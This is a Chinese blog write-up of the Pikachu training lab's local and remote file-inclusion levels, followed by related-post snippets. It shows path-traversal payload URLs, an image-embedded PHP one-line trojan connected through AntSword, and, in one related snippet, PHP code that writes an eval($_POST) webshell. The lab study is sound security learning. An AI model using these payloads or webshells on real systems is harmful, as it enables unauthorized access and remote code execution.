pikachu-File Inclusion

最新推荐文章于 2025-06-27 11:33:51 发布
最新推荐文章于 2025-06-27 11:33:51 发布
阅读量1.2k 收藏 19
点赞数 19
CC 4.0 BY-SA版权
文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/ZhuoLLLLLL/article/details/135293994
文章讲述了作者通过实验发现并利用PHP的FileInclusion漏洞，从本地文件包含到远程文件包含的过程，包括漏洞触发、文件上传、getshell获取以及远程代码执行。最后总结了对文件上传漏洞的理解和相关工具应用。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

实验步骤


File Inclusion模块

php的文件包含不管文件后缀名是什么，只要包含php代码，就可以被当作php代码解析第一关  File Inclusion(local)


首先可以在输入框中选择很多NBA明星，可以看到他们的照片和简介，同时访问是URL也暴露了出来，然后一次访问，依次可以看到有filex.php(x是数字)这样的的文件，而且是通过URL参数从前端传到后端的话，如果没有严格过滤就很可能有文件包含漏洞


那我们bp查看一下数据

将数据发送到测试器，我们看看之后数的字是否还有别的有用的信息

爆破的就选择数值就可以了，从6到100


6到100，每次依次增加1


可以看到在file6.php的文件中有了账号密码！

然后其他的都是报错，也有一些长度只相差2的也都是报错


看到了这个报错，通过这个报错，可以知道fi_local.php中用来进行文件包含的函数是include()，并且包含的文件路径为与fi_local.php同文件夹下include文件夹中的文件。

从上面的报错信息可以知道网站根目录是E:CTF\phpStudy_64\phpstudy_pro\WWW

所以肯定会有Windows\win.ini这个文件，用这个来尝试有没有文件包含漏洞。

上一部分已经分析过，上图报错信息泄露出include()函数包含的文件是与fi_local.php同文件夹下include文件夹中的文件，由于路径参数中有个固定的include/，并且包含的文件路径为与fi_local.php同文件夹下include文件夹中的文件。

我们在这个路径下上传一个txt格式的php代码

因为那不是file6.php的路径（其实在include文件中），所以使用../用来返回上一层目录。


http://pikachu/vul/fileinclude/fi_local.php?filename=../1.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

结合报错信息中泄露的fi_local.php文件位置，可以算出相对路径为../../../../../../windows/win.ini，代入url中组成payload：

http://pikachu/vul/fileinclude/fi_local.php?filename=../../../../../../windows/win.ini&submit=%E6%8F%90%E4%BA%A4


成功读到win.ini文件的内容

这时候需要上传一个图片马，结合文件上传getshell


在pikachu Unsafe Fileupload 不安全的文件上传的 getimagesize关卡，上传了图片马，该其内容包含下图所示的一句话木马。，然后需要将.txt文件修改为.jpg


文件上传w.jpg，就能回显部分路径和新生成的图片文件名

所以就能得出payload为

http://pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2023/12/29/590615658e71d958d6f989232239.jpg&submit=%E6%8F%90%E4%BA%A4

用蚁键连接


成功连接  

第二关  File Inclusion(remote)

在远程包含漏洞中，攻击者可以通过访问外部地址来加载远程的代码。


这关的下拉框和local那关还是一样的，随便选一个，观察一下url有什么不同？url中把include()函数的完整参数给出来了

 url中把include()函数的完整参数给出来了

http://pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile4.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#

远程包含http试一下

http://pikachu/vul/fileinclude/fi_remote.php?filename=https://www.youkuaiyun.com/&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#


所以这关其实除了远程文件包含，还可以本地文件包含使用绝对路径.


写一个生成shell得一句话木马

然后将.txt改为.php文件


然后打开蚁键，将shell.php文件的目录复制下来，粘贴在filename＝后面


OK连接成功

总结

通过这次漏洞的作业，我了解到了文件上传漏洞的一些相关知识，又更熟悉了一遍bp，一句话木马的上传，蚁键的连接包括在远程包含漏洞中，攻击者可以通过访问外部地址来加载远程的代码等

pikachu之文件包含
qq_42728977的博客
12-24 3651
参考链接https://www.cnblogs.com/p201721210007/p/12034896.html 文件包含漏洞(File Inclusion)概述 文件包含，是一个功能。在各种开发语言中都提供了内置的文件包含函数，其可以使开发人员在一个代码文件中直接包含（引入）另外一个代码文件。 比如 在PHP中，提供了： include(),include_once() require(),r...
pikachu靶场-File Inclusion
braty_的博客
02-24 793
File Inclusion(文件包含漏洞)概述文件包含，是一个功能。在各种开发语言中都提供了内置的文件包含函数，其可以使开发人员在一个代码文件中直接包含（引入）另外一个代码文件。比如 在PHP中，提供了：这些文件包含函数，这些函数在代码设计中被经常使用到。大多数情况下，文件包含函数中包含的代码文件是固定的，因此也不会出现安全问题。但是，有些时候，文件包含的代码文件被写成了一个变量，且这个变量可以由前端用户传进来，这种情况下，如果没有做足够的安全考虑，则可能会引发文件包含漏洞。
Pikachu-File Inclusion
baynk的博客
11-19 877
0x00 File Inclusion(文件包含漏洞)概述 文件包含，是一个功能。在各种开发语言中都提供了内置的文件包含函数，其可以使开发人员在一个代码文件中直接包含（引入）另外一个代码文件。 比如 在PHP中，提供了： include(),include_once() require(),require_once() 这些文件包含函数，这些函数在代码设计中被经常使用到。 大多数情况下，文件包含函...
pikachu通关教程-File Inclusion
2301_80753596的博客
06-02 403
首先我们把file1改成file2，发现切换成功那我们可不可以上传本地文件呢，答案是肯定的，大家可以尝试一下。
pikachu之 File Inclusion
Alsn86的博客
12-10 1836
pikachu之 File Inclusion 准备好一段创建一句话木马的php代码,后缀改为jpg <?php $mima="'".'ma'."'"; touch ("testshell.php"); $file = fopen("testshell.php","w"); $write='<?php @eval($_POST['.$mima.']); ?>'; echo fwrite($file,$write); fclose($file); echo "已经创建一句话php文件";
pikachu--- file include
weixin_50339832的博客
06-16 339
文件包含，是一个功能。在各种开发语言中都提供了内置的文件包含函数，其可以使开发人员在一个代码文件中直接包含（引入）另外一个代码文件。 比如 在PHP中，提供了： include(),include_once() require(),require_once() 这些文件包含函数，这些函数在代码设计中被经常使用到。 大多数情况下，文件包含函数中包含的代码文件是固定的，因此也不会出现安全问题。 但是，有些时候，文件包含的代码文件被写成了一个变量，且这个变量可以由前端用户传进来，这种情况下，如果没有...
pikachu Fileinclusion(local)
LIU6636LIU的博客
07-24 385
windows系统肯定有的文件是C:\Windows\win.ini，用这个来尝试有没有文件包含漏洞。结合报错信息中泄露的fi_local.php文件位置，可以算出相对路径为C:/../../../..发现文件名确实是file1.php~file5.php。/windows/win.ini，代入url。那么会不会还有别的burp抓包选中数字。678异常还有个100也是。但是通过这我们可以得到路径。发现url上数字会变。设置6-100的爆破。
Pikachu靶场File Inclusion文件包含漏洞~保姆级教程！！！
2301_77360738的博客
05-17 1096
Pikachu文件包含漏洞，详细讲解本地文件包含和远程文件包含，保证一看就会，一学就懂，小白可入！！！
pikachu漏洞练习---File Inclusion(文件包含漏洞)和Unsafe Fileupload（不安全的文件上传）
最新发布
m0_74181342的博客
06-27 893
当用户点击上传按钮后，后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等，然后将其按照设计的格式进行重命名后存储在指定的目录。2.选择kobe后，页面就会发起get请求，然后去包含那个文件的信息，并显示出来,看到file1.php，还有file2.php，file3.php，file4.php，file5.php，file6.php。对file://协议做一个演示，它一般用于访问本地文件系统，用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
pikachu靶场 RCE、File Inclusion
Al_1的博客
10-03 952
远程系统命令执行，远程代码执行；本地文件包含，远程文件包含
Pikachu靶场——文件包含漏洞(File Inclusion)
来日可期的博客
10-05 9566
大多数情况下，文件包含函数中包含的代码文件是固定的，因此也不会出现安全问题。 但是有些时候文件包含的代码文件被写成了一个变量，且这个变量可以由前端用户传进来，这种情况下，如果没有做足够的安全考虑，则可能会引发文件包含漏洞。
Pikachu靶场-File Inclusion
sucker的博客
04-24 946
文件包含漏洞（File Inclusion Vulnerability）是Web应用程序中的一种常见安全漏洞，通常由于开发者未对用户输入进行严格过滤，导致攻击者能够包含并执行恶意文件。，攻击者准备恶意文件，在攻击机（192.168.23.182）上创建包含恶意代码的文本文件（如。攻击者通过篡改参数，包含服务器本地的敏感文件（如配置文件、日志文件等）。1，观察网站，提供了一个选择框，运行用户根据名字选择提交查询。1，观察网站，提供了一个选择框，运行用户根据名字选择提交查询。
pikachu练习——file inclusion（文件包含漏洞）
haoaaao的博客
01-26 1382
一、file inclusion（local）???????? 1、在文件上传漏洞的getimagesize中上传拼接的111shell2.jpg文件 （1）这是文件url路径 http://192.168.1.32:8083/vul/unsafeupload/getimagesize.php （2）这是题中所给图片保存路径： uploads/2022/01/25/63414861efd573ba090720236716.jpg （3）将二者拼接 http://192.168.1.32:8
File Inclusion（文件包含漏洞）之 pikachu 靶场练习
Goodric的博客
01-25 1445
File Inclusion（文件包含漏洞） 文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞。 上一篇文章对文件包含进行了一些学习：文件包含漏洞学习 下面通过pikachu 靶场里的 File Inclusion 模块对文件包含的两种分类进行测试。 File Inclusion（local）本地文件包含 当包含的文件在服务器本地时，就形成了本地文件包含。 进入界面，按上面的说明选择一个名字后，可以看到 url 发生了变化，通过前端传了一个文件名到后台，而后台会对指定的目标文件进行操作。 （指定的文件都是
pikachu靶场 文件包含漏洞解析 file inclusion
weixin_44023442的博客
02-03 638
1、File Inclusion(local) 任意选择NBA player，页面显示如下： 其url直接暴露了查询信息，简单的直接修改： ?filename=../fileinclude&submit=提交查询 说明存在文件包含漏洞（当然实际情况也有可能是：该文件不在过滤范围之内。） 测试能否使用伪协议 ?filename=file:../fileinclude.php&submit=提交查询 测试能否使用http://，php://等协议 ?filename=https://www
File Inclusion（Pikachu）
m0_72827793的博客
12-26 337
提交的是一个目标文件的路径，我们可以改成一个远端的路径，读取远程文件。找到自己的文件（本地文件）shell.php的路径写上去。观察url，显示是一个文件file1.php。这时会自动生成一个yijuhua.php文件。再次访问此路径就可以执行我们想要的命令。可以直接通过url修改这个文件。原因：这个后台系统是没有的。用Pikachu提供的。这里随便点击一个提交。
Pikachu 靶场 File Inclusion 通关解析
Flag少侠的博客
05-12 1875
文件包含漏洞（File Inclusion Vulnerability）是一种常见的网络安全漏洞，它允许攻击者通过恶意构造的输入来包含并执行本不应该被执行的文件。这种漏洞通常存在于Web应用程序中，特别是在使用动态文件包含函数或语句时。文件包含漏洞可以分为两种类型：本地文件包含漏洞和远程文件包含漏洞。1. 本地文件包含漏洞：本地文件包含漏洞发生在应用程序将用户提供的输入作为文件路径进行处理时，攻击者可以通过构造恶意的文件路径来包含并执行本地文件。
pikachu靶场文件上传file inclusion
03-04
### 文件上传与文件包含漏洞利用及防御 在处理像Pikachu靶场中的文件上传和文件包含漏洞时，理解这些漏洞的工作原理及其潜在风险至关重要。当应用程序允许用户上传文件并随后尝试动态加载或解析这些文件作为代码的一部分时，就会发生此类漏洞。 #### 漏洞利用实例 假设存在一个PHP应用，其中有一个用于展示不同页面布局的功能，此功能接受来自用户的输入来决定要显示哪个模板文件： ```php <?php // 不安全的做法 $filename = $_GET['page']; include($filename . '.php'); ?> ``` 如果`$_GET['page']`未经过适当验证就被直接使用于`include()`语句中，则攻击者可以通过精心构造请求参数注入恶意路径或URL，进而触发本地或远程文件包含攻击[^1]。 对于文件上传结合文件包含的情况，通常涉及两个主要方面： - 用户提交带有特定扩展名（如`.php`）的文件到服务器； - 应用程序未能正确区分正常图片或其他类型的文件与可执行脚本之间的差异，并错误地将其视为合法资源进行处理。 例如，在某些情况下，即使上传的是图像文件，但如果其实际内容为PHP代码片段，一旦被不当包含，就能被执行。 #### 安全防护建议 为了防止上述提到的安全隐患，应当采取以下措施加强保护机制： - **严格校验文件类型**：不仅依赖MIME类型判断，还应基于文件头信息进一步确认文件的真实性质。 - **限定存储位置**：确保所有上传的数据都被保存在一个独立且受控的位置之外，远离Web根目录，避免意外访问。 - **禁用危险设置**：修改`php.ini`配置项，关闭不必要的选项，比如`allow_url_fopen=Off` 和 `allow_url_include=Off` ，阻止从外部源获取数据的可能性[^2]。 - **实施白名单策略**：只允许预定义列表内的文件名称或模式参与动态加载过程；拒绝一切不在范围之内的请求。 - **启用魔术引号GPC (Magic Quotes GPC)** ：虽然现代版本已弃用了这一特性，但在较旧环境中开启它可以自动转义特殊字符，减少SQL注入和其他形式的字符串插值攻击的风险。 综上所述，针对Pikachu靶场所模拟的实际应用场景，开发者应该始终遵循最小权限原则设计API接口逻辑，同时配合有效的输入输出净化手段以及合理的架构规划共同构建起坚固防线抵御各类网络威胁。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值